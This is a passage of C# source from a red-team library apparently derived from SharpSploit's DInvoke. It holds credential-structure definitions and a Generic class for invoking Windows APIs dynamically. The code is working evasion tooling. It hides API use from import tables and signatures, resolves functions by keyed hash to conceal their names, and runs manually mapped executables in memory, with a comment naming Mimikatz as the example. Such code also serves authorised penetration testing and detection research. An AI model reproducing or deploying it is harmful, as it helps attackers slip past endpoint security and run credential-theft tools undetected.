PROMPT_NOW = 0x2,
USERNAME_TARGET = 0x4
}
public enum CRED_PERSIST : uint
{
Session = 1,
LocalMachine,
Enterprise
}
public enum CRED_TYPE : uint
{
Generic = 1,
DomainPassword,
DomainCertificate,
DomainVisiblePassword,
GenericCertificate,
DomainExtended,
Maximum,
MaximumEx = Maximum + 1000,
}
}
public class Secur32
{
public struct _SECURITY_LOGON_SESSION_DATA
{
public UInt32 Size;
public WinNT._LUID LoginID;
public _LSA_UNICODE_STRING Username;
public _LSA_UNICODE_STRING LoginDomain;
public _LSA_UNICODE_STRING AuthenticationPackage;
public UInt32 LogonType;
public UInt32 Session;
public IntPtr pSid;
public UInt64 LoginTime;
public _LSA_UNICODE_STRING LogonServer;
public _LSA_UNICODE_STRING DnsDomainName;
public _LSA_UNICODE_STRING Upn;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LSA_UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
}
}
}
================================================
FILE: DInvoke.DynamicInvoke/Generic.cs
================================================
// Author: Ryan Cobb (@cobbr_io)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.IO;
using System.Text;
using System.Diagnostics;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using ManualMap = DInvoke.ManualMap;
namespace DInvoke.DynamicInvoke
{
/// <summary>
/// Generic is a class for dynamically invoking arbitrary API calls from memory or disk. DynamicInvoke avoids suspicious
/// P/Invoke signatures, imports, and IAT entries by loading modules and invoking their functions at runtime.
/// </summary>
public class Generic
{
/// <summary>
/// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="DLLName">Name of the DLL.</param>
/// <param name="FunctionName">Name of the function.</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
{
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
}
/// <summary>
/// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="FunctionPointer">A pointer to the unmanaged function.</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
{
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
return funcDelegate.DynamicInvoke(Parameters);
}
/// <summary>
/// Resolves LdrLoadDll and uses that function to load a DLL from disk.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>
public static IntPtr LoadModuleFromDisk(string DLLPath)
{
Data.Native.UNICODE_STRING uModuleName = new Data.Native.UNICODE_STRING();
Native.RtlInitUnicodeString(ref uModuleName, DLLPath);
IntPtr hModule = IntPtr.Zero;
Data.Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
if (CallResult != Data.Native.NTSTATUS.Success || hModule == IntPtr.Zero)
{
return IntPtr.Zero;
}
return hModule;
}
/// <summary>
/// Helper for getting the pointer to a function from a DLL loaded by the process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
/// <param name="FunctionName">Name of the exported procedure.</param>
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false, bool ResolveForwards = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, FunctionName, ResolveForwards);
}
/// <summary>
/// Helper for getting the pointer to a function from a DLL loaded by the process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
/// <param name="Ordinal">Ordinal of the exported procedure.</param>
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetLibraryAddress(string DLLName, short Ordinal, bool CanLoadFromDisk = false, bool ResolveForwards = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, Ordinal, ResolveForwards: ResolveForwards);
}
/// <summary>
/// Helper for getting the pointer to a function from a DLL loaded by the process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
/// <param name="FunctionHash">Hash of the exported procedure.</param>
/// <param name="Key">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetLibraryAddress(string DLLName, string FunctionHash, long Key, bool CanLoadFromDisk = false, bool ResolveForwards = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, FunctionHash, Key, ResolveForwards: ResolveForwards);
}
/// <summary>
/// Helper for getting the base address of a module loaded by the current process. This base
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
/// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
{
return Mod.BaseAddress;
}
}
return IntPtr.Zero;
}
/// <summary>
/// Helper for getting the base address of a module loaded by the current process. This base
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
/// manual export parsing. This function parses the _PEB_LDR_DATA structure.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
public static IntPtr GetPebLdrModuleEntry(string DLLName)
{
// Get _PEB pointer
Data.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
// Set function variables
bool Is32Bit = false;
UInt32 LdrDataOffset = 0;
UInt32 InLoadOrderModuleListOffset = 0;
if (IntPtr.Size == 4)
{
Is32Bit = true;
LdrDataOffset = 0xc;
InLoadOrderModuleListOffset = 0xC;
}
else
{
LdrDataOffset = 0x18;
InLoadOrderModuleListOffset = 0x10;
}
// Get module InLoadOrderModuleList -> _LIST_ENTRY
IntPtr PEB_LDR_DATA = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + LdrDataOffset));
IntPtr pInLoadOrderModuleList = (IntPtr)((UInt64)PEB_LDR_DATA + InLoadOrderModuleListOffset);
Data.Native.LIST_ENTRY le = (Data.Native.LIST_ENTRY)Marshal.PtrToStructure(pInLoadOrderModuleList, typeof(Data.Native.LIST_ENTRY));
// Loop entries
IntPtr flink = le.Flink;
IntPtr hModule = IntPtr.Zero;
Data.PE.LDR_DATA_TABLE_ENTRY dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY));
while (dte.InLoadOrderLinks.Flink != le.Blink)
{
// Match module name
if (Marshal.PtrToStringUni(dte.FullDllName.Buffer).EndsWith(DLLName, StringComparison.OrdinalIgnoreCase))
{
hModule = dte.DllBase;
}
// Move Ptr
flink = dte.InLoadOrderLinks.Flink;
dte = (Data.PE.LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(flink, typeof(Data.PE.LDR_DATA_TABLE_ENTRY));
}
return hModule;
}
/// <summary>
/// Generate an HMAC-MD5 hash of the supplied string using an Int64 as the key. This is useful for unique hash based API lookups.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="APIName">API name to hash.</param>
/// <param name="Key">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>
/// <returns>string, the computed MD5 hash value.</returns>
public static string GetAPIHash(string APIName, long Key)
{
byte[] data = Encoding.UTF8.GetBytes(APIName.ToLower());
byte[] kbytes = BitConverter.GetBytes(Key);
using (HMACMD5 hmac = new HMACMD5(kbytes))
{
byte[] bHash = hmac.ComputeHash(data);
return BitConverter.ToString(bHash).Replace("-", "");
}
}
/// <summary>
/// Given a module base address, resolve the address of a function by manually walking the module export table.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName, bool ResolveForwards = false)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Get the VAs of the name table's beginning and end.
Int64 NamesBegin = ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA));
Int64 NamesFinal = NamesBegin + NumberOfNames * 4;
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
if (ResolveForwards == true)
// If the export address points to a forward, get the address
FunctionPtr = GetForwardAddress(FunctionPtr);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(ExportName + ", export not found.");
}
return FunctionPtr;
}
/// <summary>
/// Given a module base address, resolve the address of a function by manually walking the module export table.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="Ordinal">The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetExportAddress(IntPtr ModuleBase, short Ordinal, bool ResolveForwards = false)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
if (FunctionOrdinal == Ordinal)
{
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
if (ResolveForwards == true)
// If the export address points to a forward, get the address
FunctionPtr = GetForwardAddress(FunctionPtr);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(Ordinal + ", ordinal not found.");
}
return FunctionPtr;
}
/// <summary>
/// Given a module base address, resolve the address of a function by manually walking the module export table.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="FunctionHash">Hash of the exported procedure.</param>
/// <param name="Key">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetExportAddress(IntPtr ModuleBase, string FunctionHash, long Key, bool ResolveForwards = false)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (GetAPIHash(FunctionName, Key).Equals(FunctionHash, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
if (ResolveForwards == true)
// If the export address points to a forward, get the address
FunctionPtr = GetForwardAddress(FunctionPtr);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(FunctionHash + ", export hash not found.");
}
return FunctionPtr;
}
/// <summary>
/// Check if an address to an exported function should be resolved to a forward. If so, return the address of the forward.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="ExportAddress">Function of an exported address, found by parsing a PE file's export table.</param>
/// <returns>IntPtr for the forward. If the function is not forwarded, return the original pointer.</returns>
public static IntPtr GetForwardAddress(IntPtr ExportAddress)
{
IntPtr FunctionPtr = ExportAddress;
try
{
// Assume it is a forward. If it is not, we will get an error
string ForwardNames = Marshal.PtrToStringAnsi(FunctionPtr);
string[] values = ForwardNames.Split('.');
string ForwardModuleName = values[0];
string ForwardExportName = values[1];
// Check if it is an API Set mapping
Dictionary<string, string> ApiSet = GetApiSetMapping();
string LookupKey = ForwardModuleName.Substring(0, ForwardModuleName.Length - 2) + ".dll";
if (ApiSet.ContainsKey(LookupKey))
ForwardModuleName = ApiSet[LookupKey];
else
ForwardModuleName = ForwardModuleName + ".dll";
IntPtr hModule = GetPebLdrModuleEntry(ForwardModuleName);
if (hModule != IntPtr.Zero)
{
FunctionPtr = GetExportAddress(hModule, ForwardExportName);
}
}
catch
{
// Do nothing, it was not a forward
}
return FunctionPtr;
}
/// <summary>
/// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, string ExportName)
{
Data.Native.ANSI_STRING aFunc = new Data.Native.ANSI_STRING
{
Length = (ushort)ExportName.Length,
MaximumLength = (ushort)(ExportName.Length + 2),
Buffer = Marshal.StringToCoTaskMemAnsi(ExportName)
};
IntPtr pAFunc = Marshal.AllocHGlobal(Marshal.SizeOf(aFunc));
Marshal.StructureToPtr(aFunc, pAFunc, true);
IntPtr pFuncAddr = IntPtr.Zero;
Native.LdrGetProcedureAddress(ModuleBase, pAFunc, IntPtr.Zero, ref pFuncAddr);
Marshal.FreeHGlobal(pAFunc);
return pFuncAddr;
}
/// <summary>
/// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="Ordinal">The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, short Ordinal)
{
IntPtr pFuncAddr = IntPtr.Zero;
IntPtr pOrd = (IntPtr)Ordinal;
Native.LdrGetProcedureAddress(ModuleBase, IntPtr.Zero, pOrd, ref pFuncAddr);
return pFuncAddr;
}
/// <summary>
/// Retrieve PE header information from the module base pointer.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="pModule">Pointer to the module base.</param>
/// <returns>PE.PE_META_DATA</returns>
public static Data.PE.PE_META_DATA GetPeMetaData(IntPtr pModule)
{
Data.PE.PE_META_DATA PeMetaData = new Data.PE.PE_META_DATA();
try
{
UInt32 e_lfanew = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + 0x3c));
PeMetaData.Pe = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + e_lfanew));
// Validate PE signature
if (PeMetaData.Pe != 0x4550)
{
throw new InvalidOperationException("Invalid PE signature.");
}
PeMetaData.ImageFileHeader = (Data.PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure((IntPtr)((UInt64)pModule + e_lfanew + 0x4), typeof(Data.PE.IMAGE_FILE_HEADER));
IntPtr OptHeader = (IntPtr)((UInt64)pModule + e_lfanew + 0x18);
UInt16 PEArch = (UInt16)Marshal.ReadInt16(OptHeader);
// Validate PE arch
if (PEArch == 0x010b) // Image is x32
{
PeMetaData.Is32Bit = true;
PeMetaData.OptHeader32 = (Data.PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(OptHeader, typeof(Data.PE.IMAGE_OPTIONAL_HEADER32));
}
else if (PEArch == 0x020b) // Image is x64
{
PeMetaData.Is32Bit = false;
PeMetaData.OptHeader64 = (Data.PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(OptHeader, typeof(Data.PE.IMAGE_OPTIONAL_HEADER64));
}
else
{
throw new InvalidOperationException("Invalid magic value (PE32/PE32+).");
}
// Read sections
Data.PE.IMAGE_SECTION_HEADER[] SectionArray = new Data.PE.IMAGE_SECTION_HEADER[PeMetaData.ImageFileHeader.NumberOfSections];
for (int i = 0; i < PeMetaData.ImageFileHeader.NumberOfSections; i++)
{
IntPtr SectionPtr = (IntPtr)((UInt64)OptHeader + PeMetaData.ImageFileHeader.SizeOfOptionalHeader + (UInt32)(i * 0x28));
SectionArray[i] = (Data.PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(SectionPtr, typeof(Data.PE.IMAGE_SECTION_HEADER));
}
PeMetaData.Sections = SectionArray;
}
catch
{
throw new InvalidOperationException("Invalid module base specified.");
}
return PeMetaData;
}
/// <summary>
/// Resolve host DLL for API Set DLL.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <returns>Dictionary, a combination of Key:APISetDLL and Val:HostDLL.</returns>
public static Dictionary<string, string> GetApiSetMapping()
{
Data.Native.PROCESS_BASIC_INFORMATION pbi = Native.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
UInt32 ApiSetMapOffset = IntPtr.Size == 4 ? (UInt32)0x38 : 0x68;
// Create mapping dictionary
Dictionary<string, string> ApiSetDict = new Dictionary<string, string>();
IntPtr pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + ApiSetMapOffset));
Data.PE.ApiSetNamespace Namespace = (Data.PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(Data.PE.ApiSetNamespace));
for (var i = 0; i < Namespace.Count; i++)
{
Data.PE.ApiSetNamespaceEntry SetEntry = new Data.PE.ApiSetNamespaceEntry();
SetEntry = (Data.PE.ApiSetNamespaceEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)Namespace.EntryOffset + (UInt64)(i * Marshal.SizeOf(SetEntry))), typeof(Data.PE.ApiSetNamespaceEntry));
string ApiSetEntryName = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.NameOffset), SetEntry.NameLength / 2);
string ApiSetEntryKey = ApiSetEntryName.Substring(0, ApiSetEntryName.Length - 2) + ".dll"; // Remove the patch number and add .dll
Data.PE.ApiSetValueEntry SetValue = new Data.PE.ApiSetValueEntry();
SetValue = (Data.PE.ApiSetValueEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset), typeof(Data.PE.ApiSetValueEntry));
string ApiSetValue = string.Empty;
if (SetValue.ValueCount != 0)
{
ApiSetValue = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetValue.ValueOffset), SetValue.ValueCount / 2);
}
// Add pair to dict
ApiSetDict.Add(ApiSetEntryKey, ApiSetValue);
}
// Return dict
return ApiSetDict;
}
/// <summary>
/// Call a manually mapped PE by its EntryPoint.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <returns>void</returns>
public static void CallMappedPEModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
// Call module by EntryPoint (eg Mimikatz.exe)
IntPtr hRemoteThread = IntPtr.Zero;
IntPtr lpStartAddress = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :
(IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);
Native.NtCreateThreadEx(
ref hRemoteThread,
Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
IntPtr.Zero, (IntPtr)(-1),
lpStartAddress, IntPtr.Zero,
false, 0, 0, 0, IntPtr.Zero
);
}
/// <summary>
/// Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <returns>void</returns>
public static void CallMappedDLLModule(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
{
IntPtr lpEntryPoint = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :
(IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);
Data.PE.DllMain fDllMain = (Data.PE.DllMain)Marshal.GetDelegateForFunctionPointer(lpEntryPoint, typeof(Data.PE.DllMain));
bool CallRes = fDllMain(ModuleMemoryBase, Data.PE.DLL_PROCESS_ATTACH, IntPtr.Zero);
if (!CallRes)
{
throw new InvalidOperationException("Failed to call DllMain -> DLL_PROCESS_ATTACH");
}
}
/// <summary>
/// Call a manually mapped DLL by Export.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <param name="CallEntry">Specify whether to invoke the module's entry point.</param>
/// <returns>void</returns>
public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string ExportName, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)
{
// Call entry point if user has specified
if (CallEntry)
{
CallMappedDLLModule(PEINFO, ModuleMemoryBase);
}
// Get export pointer
IntPtr pFunc = GetExportAddress(ModuleMemoryBase, ExportName);
// Call export
return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);
}
/// <summary>
/// Call a manually mapped DLL by Export.
/// </summary>
/// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>
